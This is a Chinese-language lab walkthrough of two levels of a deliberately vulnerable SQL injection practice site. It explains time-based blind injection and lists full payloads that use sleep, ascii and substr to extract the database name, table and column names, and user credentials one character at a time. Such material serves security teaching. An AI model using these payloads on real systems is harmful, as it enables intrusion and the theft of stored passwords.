知识点
函数
if()函数 条件判断函数
if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
sleep()函数 网页延迟n秒后,输出结果
left()函数 从左边数,取几个数
例如:left(abcdef,3) 取3位左边的数,就是abc
第九关
源码分析:
开搞
一、判断注入点(需要用到sleep函数)
?id=1')and (sleep(4)) --+
(耗时2s,这是正常的页面,没有闭合的页面)
?id=1'and (sleep(4)) --+
(耗时6s,因为正常页面需要2s,所以闭合之后消耗的时间为又增加了4s,所以是6s)
时间注入判断注入点就用这个
由于不报错,所以判断注入点,就是用sleep延迟函数
一、爆库(security)
根据第8关的思想我们先判断数据库的长度
?id=1' and if (length(database()) = 8 ,sleep(4),1)--+
就是如果数据库的长度为8,就延时反应4秒
知道了数据库的长度,那么我们就进行爆库
?id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
说明第一位是 s (ascii 码是 115)
依次类推爆出来库名
?id=1' and If(ascii(substr(database(),2,1))=101,sleep(5),1)--+
说明第一位是 e (ascii 码是 101)
二、爆表名
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(4),1)--+ (u)
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(4),1)--+ (s)以此类推
三、爆字段
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(4),1)--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
四、爆数据
?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(4),1)--+
以此类推,我们得到数据库 username,password 的所有内容
第十关
和第九关一样,基于时间盲注的注入
首先我们来看一下源码
就一个双引号注入
我们还是系统的来判断一下注入点
?id=1" and (sleep(3))--+ (有延迟)
?id=1’ and (sleep(3))--+ (无延迟)